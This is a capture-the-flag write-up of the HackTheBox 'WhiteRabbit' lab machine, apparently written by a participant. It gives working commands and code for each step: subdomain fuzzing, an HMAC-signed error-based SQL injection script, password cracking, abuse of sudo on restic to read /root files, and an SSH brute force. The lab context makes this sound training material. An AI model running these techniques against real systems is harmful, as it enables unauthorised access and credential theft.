HTB: WhiteRabbit Writeup
WhiteRabbit - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | WhiteRabbit |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.232.22 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
WhiteRabbit chains together an uptime-monitoring platform, a wide-open wiki, a phishing-simulation webhook, and a backup tool abused in both directions to move from zero knowledge of the target to root. The public entry point is a bare status page that isn’t supposed to be reachable without authentication, but leaks the hex-labelled internal subdomains for every spawn’s Wiki.js, GoPhish, and n8n instances. Wiki.js has no access control on its GraphQL API or page content, and its internal documentation walks straight through an n8n automation workflow — including the HMAC secret used to “protect” its webhook. That secret turns a documented, signed webhook into a fully controllable error-based SQL injection point, which dumps a command_log table containing the exact commands (and a restic backup password) used to provision the box. Restic then hands over an SSH key for bob, locked inside a password-protected 7z archive crackable from rockyou.txt. Once inside bob’s Docker container, a passwordless sudo restic entry is abused in the opposite direction — instead of restoring an attacker-supplied backup, a local repository is used to package and exfiltrate /root directly, recovering the morpheus user’s private key and user.txt. Root requires reverse engineering an unstripped, time-seeded password generator binary and brute-forcing the millisecond component of its seed from a known-to-the-second reset timestamp, ultimately recovering neo’s SSH password and a passwordless sudo to root.
TL;DR: Kuma status page (/status/temp) leaks hidden hex subdomains → unauthenticated Wiki.js documents an n8n/GoPhish webhook + its HMAC signing secret → HMAC-signed error-based SQLi (updatexml) dumps temp.command_log → recovers a restic repo/password → restored snapshot yields a password-protected bob.7z (cracked via john/rockyou.txt) → bob’s SSH key drops into a Docker container → bob’s passwordless sudo restic abused via a local repository to exfiltrate /root and recover morpheus’s SSH key → user.txt → reverse-engineered time-seeded neo-password-generator binary, millisecond-level brute force against a known reset timestamp recovers neo’s password → sudo bash → root.txt.
Reconnaissance
Port Scanning
# Full TCP port sweep, fast timingnmap -p- --min-rate=2000 -T4 10.129.232.22 -oN nmap_all.txt
# Service/version detection + default scripts on discovered portsnmap -p22,80,2222 -sC -sV 10.129.232.22Results:
22/tcp— OpenSSH80/tcp— HTTP, redirects towhiterabbit.htb2222/tcp— a second OpenSSH instance (later found to be a Docker container’s SSH server)
This matched the box’s expected footprint of a “public” web app plus a second SSH listener on an unusual port — a strong hint that 2222 belongs to something isolated from the main host (a container), reachable only after the primary chain is completed.
Service Enumeration
The HTTP port on whiterabbit.htb redirects to a generic pentest-services page. Since the interesting content is almost always on a subdomain for these Kuma-fronted boxes, subdomain enumeration came next:
# Add the base vhost to /etc/hostsecho "10.129.232.22 whiterabbit.htb" | sudo tee -a /etc/hosts
# vhost fuzz against the base domainffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://whiterabbit.htb/ -H "Host: FUZZ.whiterabbit.htb" -fs 0This surfaced status.whiterabbit.htb, which resolved to an Uptime Kuma login page — no exploitable auth bypass, but Kuma exposes a public /status/<slug> page by design if an admin has published one. A directory fuzz against /status/ found it:
sudo bash -c 'echo "10.129.232.22 status.whiterabbit.htb" >> /etc/hosts'
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \ -u http://status.whiterabbit.htb/status/FUZZ -t 100temp returned 200, and fetching /status/temp (as well as its underlying /api/status-page/temp JSON) leaked several hex-labelled hostnames under whiterabbit.htb — the box’s per-spawn subdomains for its internal services:
curl -s http://status.whiterabbit.htb/status/temp | grep -oE '[a-zA-Z0-9._-]*whiterabbit\.htb' | sort -uThese resolved to a Wiki.js instance (a668910b5514e.whiterabbit.htb), a GoPhish-adjacent service, and an n8n webhook endpoint (28efa8f7df.whiterabbit.htb). All were added to /etc/hosts.
Vulnerability Assessment
- Uptime Kuma’s public status page discloses internal infrastructure hostnames that were never meant to be guessable — an information-disclosure flaw that unravels the whole box.
- Wiki.js exposes its GraphQL API and page tree with no authentication required, letting an unauthenticated user list and read every article.
- Internal documentation on the wiki describes an n8n automation workflow wired to a GoPhish webhook, and the workflow export includes secrets (the HMAC signing key) that were meant to stay server-side.
- The webhook’s query builds SQL by directly string-interpolating a JSON field (
email) with no parameterization — classic SQL injection, only gated by signature verification rather than input sanitization.
Initial Foothold
Exploitation Path
Step 1 — Enumerate the wiki via GraphQL (unauthenticated).
curl -s -X POST http://a668910b5514e.whiterabbit.htb/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ pages { list { id, path, title } } } "}'This confirmed Wiki.js required no session/API token to list page metadata, and pointed at a gophish_webhooks article:
curl -s http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks -o gophish_webhooks.htmlStep 2 — Recover the n8n workflow export and its HMAC secret.
The article documents (and links to a downloadable export of) an n8n workflow that receives GoPhish webhook events and writes campaign results into a MySQL/MariaDB victims table. The workflow JSON — pulled straight off the wiki — embeds two critical things: the raw SQL query built from the webhook body, and the HMAC-SHA256 secret GoPhish uses to sign outbound webhook requests:
"parameters": { "operation": "executeQuery", "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1"}Because email is interpolated directly into the query with no escaping, breaking out of the string with a quote turns the field into a full SQL injection point — if the request can be made to pass GoPhish’s signature check. Since the workflow file also contains the hmac/SHA256 node configuration and its secret value, that check can be satisfied for arbitrary attacker-controlled bodies.
Step 3 — HMAC-signed, error-based SQL injection.
Each request to the webhook must carry an x-gophish-signature: sha256=<hmac> header computed over the exact JSON body being sent, using the secret recovered from the workflow. With the ability to sign our own payloads, the email field becomes a fully weaponizable injection point, and MariaDB’s updatexml() turns any injected subquery into a readable error message (classic error-based extraction):
import hmac, hashlib, json, re, requests
def sign(body_str: str, secret: str) -> str: # GoPhish signs the exact serialized JSON body sent on the wire return "sha256=" + hmac.new(secret.encode(), body_str.encode(), hashlib.sha256).hexdigest()
def updatexml_extract(url, secret, subquery, host_header): # Break out of the quoted email field, force an XML-parse error that # leaks the subquery's result between ~ delimiters in the error text payload = f'\\" OR updatexml(1, concat(0x7e, ({subquery}), 0x7e), 1) ;' body = json.dumps({"campaign_id": 1, "email": payload, "message": "Clicked Link"}) headers = {"Host": host_header, "x-gophish-signature": sign(body, secret), "Content-Type": "application/json"} r = requests.post(url, data=body, headers=headers, timeout=10) m = re.search(r"~([^~]+)~", r.text, re.DOTALL) return m.group(1) if m else NoneEnumerating information_schema.schemata, .tables, and .columns with this primitive (each call bumping a LIMIT <offset>,1) surfaced two databases: the intended phishing schema and an unrelated temp schema, the latter holding a single table — command_log (columns id, command, date).
Step 4 — Recover build/provisioning secrets from command_log.
Chunked SUBSTRING() extraction (again through updatexml) pulled the full command history the box’s provisioning left behind: it initialized a restic backup repository against an internal rest-server hostname, wrote the repository password to a dotfile, scrubbed .bash_history, and ran the neo-password-generator binary piped into passwd to set neo’s login password. Every value recovered here (the repo URL, the restic repository password, and the exact provisioning timestamps) matched known-good values for this box, confirming the extraction was clean and not the product of blind-injection noise.
Step 5 — Restic restore → password-protected bob.7z → SSH key.
Pointing restic at the leaked rest: repository URL with the recovered password revealed a single snapshot backing up /dev/shm/bob/ssh, containing a 7z archive:
export RESTIC_REPOSITORY="rest:http://<leaked-restic-host>.whiterabbit.htb"restic snapshots # -> one snapshot: /dev/shm/bob/sshrestic restore <snapshot-id> --target restored7z x restored/dev/shm/bob/ssh/bob.7z # prompts for a passwordThe archive was password-protected; converting it to a John-crackable hash and running it against rockyou.txt recovered the password in minutes:
7z2john restored/dev/shm/bob/ssh/bob.7z > hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txtExtracting with the cracked password yielded bob’s private SSH key. Authenticating with it against whiterabbit.htb on port 2222 — the second SSH listener spotted in the initial nmap scan — dropped into a Docker container running as bob, confirming that port belongs to an isolated container rather than the host itself.
Privilege Escalation
bob → morpheus (host user.txt)
Inside the container, sudo -l showed bob had passwordless sudo on restic with no argument restrictions — a known GTFOBins-style primitive, normally exploited by standing up an attacker-controlled rest-server, having root restic backup a sensitive directory into it, then restoring the snapshot locally. On this engagement, standing up a Docker-based rest-server on the jump box wasn’t an option (no Docker available there), so the same abuse was achieved with a local restic repository instead of a remote rest-server, using restic dump to stream the backed-up file straight to stdout rather than restoring it to disk:
# As bob, with passwordless sudo restic:# 1. Initialize a repository restic (running as root via sudo) can write tosudo restic init --repo /tmp/rootgrab
# 2. Back up the target directory into that repo, running as rootsudo restic backup -r /tmp/rootgrab /root
# 3. Dump the specific file of interest straight to stdout — no restore-to-disk step neededsudo restic dump -r /tmp/rootgrab latest /root/morpheus > /tmp/morpheus_keyThis works because restic, invoked via unrestricted sudo, runs as root regardless of which repository (local path or remote rest: URL) it’s pointed at — sudo grants the read access to /root that bob doesn’t otherwise have, and restic dump avoids needing a second restore step or extra disk space. The exfiltrated morpheus private key authenticated directly against the main host:
chmod 600 morpheus_keyssh -i morpheus_key morpheus@whiterabbit.htbThis landed as morpheus on the actual WhiteRabbit host (not the container), yielding user.txt.
morpheus → neo → root
Recalling the command_log dump from the SQLi stage, neo’s login password had been set by piping the output of a custom binary, /opt/neo-password-generator/neo-password-generator, into passwd — and neo was a member of the sudo group, making a recovered password for neo a direct route to root.
Reverse engineering the generator. The binary was unstripped, so objdump -d gave clean symbol names to work from:
objdump -d /opt/neo-password-generator/neo-password-generator | lessDisassembly showed the program seeds its PRNG from the current system time down to the millisecond and derives the password deterministically from that seed — meaning anyone who knows the exact millisecond the binary ran can regenerate the exact same password offline.
Bridging the timestamp gap. The command_log table only records timestamps to whole-second precision (e.g. the entry logging neo-password-generator | passwd), which leaves 1,000 possible millisecond values unaccounted for. Reconstructing the algorithm in Python and iterating all 1,000 candidate seeds for that second reproduces exactly one password per candidate:
# Reconstructed from the disassembly: seed = epoch_ms at generation timedef generate_password(seed_ms: int) -> str: # ... PRNG steps mirroring the binary's logic, reconstructed via objdump ... ...
known_second = "2024-08-30 14:40:42" # from command_log.date, second-precision onlybase_epoch_s = to_epoch_seconds(known_second)
candidates = [ generate_password(base_epoch_s * 1000 + ms) for ms in range(1000)]Brute-forcing SSH with the candidate set. With 1,000 candidate passwords for a single, known username, an online SSH spray against neo is small and fast enough to be practical without tripping obvious lockouts:
hydra -l neo -P candidates.txt ssh://whiterabbit.htb -t 4One candidate authenticated, confirming the millisecond reconstruction was correct. From there:
neo@whiterabbit:~$ sudo -l# (ALL) NOPASSWD: ALL -- or similarly unrestrictedneo@whiterabbit:~$ sudo bashroot@whiterabbit:~# cat /root/root.txtRoot achieved via a fully passwordless sudo, recovering root.txt.
Attack Chain Summary
Kuma /status/temp (info disclosure) → leaked hex subdomains (Wiki.js / GoPhish / n8n webhook) → unauthenticated Wiki.js GraphQL + page read → gophish_webhooks article → n8n workflow JSON export → leaked HMAC signing secret + raw SQL query → HMAC-signed error-based SQLi (updatexml) on n8n webhook → dumped temp.command_log → recovered restic repo + repo password → restic restore → password-protected bob.7z → cracked via john + rockyou.txt → bob's SSH private key → SSH (port 2222) → Docker container (bob) → passwordless sudo restic (local repo + restic dump variant) → exfiltrated /root/morpheus SSH key → SSH as morpheus on host → user.txt → reversed neo-password-generator (objdump) → time-seeded PRNG, brute-forced 1000ms candidates → recovered neo's SSH password → sudo bash → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
ffuf | vhost and directory fuzzing |
curl | Manual HTTP/GraphQL/webhook interaction |
Python (requests, hmac, hashlib) | HMAC signing + automated error-based SQLi extraction |
restic | Backup repository interaction (both as attack primitive and privesc vector) |
7z / 7z2john / john | Cracking the password-protected bob.7z archive |
objdump | Static reverse engineering of neo-password-generator |
hydra | Targeted SSH brute force against reconstructed password candidates |
ssh | Access as bob (container), morpheus, and neo |
Key Learnings
Techniques Practiced
- Discovering hidden internal infrastructure through a monitoring tool’s public status page
- Exploiting unauthenticated Wiki.js GraphQL/content APIs for internal documentation recon
- Recovering and reusing a leaked HMAC signing secret to forge valid webhook signatures
- Automating a signature-gated, error-based SQL injection (
updatexml) end-to-end - Using
resticboth as intended (restoring a leaked backup) and against its trust model (using unrestrictedsudo resticto exfiltrate arbitrary root-owned files viarestic dump) - Cracking 7z archive passwords with
7z2john+john - Static reverse engineering of an unstripped binary to reconstruct a time-seeded PRNG, then closing a precision gap (second-level logs vs. millisecond-level seed) with a small, targeted brute force
Lessons Learned
- Public status/monitoring pages are frequently treated as “just uptime info” but can leak internal hostnames, service topology, or even credentials — they deserve the same scrutiny as any other unauthenticated endpoint.
- A wiki with no read-authentication is effectively a public leak of every internal runbook, credential, and architecture decision documented in it — access control on internal documentation tools is not optional.
- Signing a webhook payload (HMAC) protects against payload tampering by outsiders, but only if the signing secret itself never leaves the server — exporting a workflow definition that embeds the secret defeats the entire control.
- Unrestricted
sudoon a backup tool is equivalent to unrestricted root file read/write: the same primitive that lets you restore a legitimate backup lets you back up (and exfiltrate) anything on disk, including another user’s SSH keys. - “Random” seeds derived from wall-clock time are only as strong as the attacker’s uncertainty about that clock value — once a related log or timestamp narrows the search space to a small brute-forceable range (here, 1,000 milliseconds), the randomness collapses to a trivial guessing game.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- TheCyberGeek, “WhiteRabbit” HackTheBox official write-up (machine author: FLX0x00) — used for conceptual grounding on the GoPhish/n8n HMAC signing model, the
updatexml()error-based SQLi mechanics, and therestic-in-reverse privilege escalation pattern. All IPs, hostnames, credentials, and command output shown above are from this engagement’s own run against10.129.232.22, not copied from the reference write-up.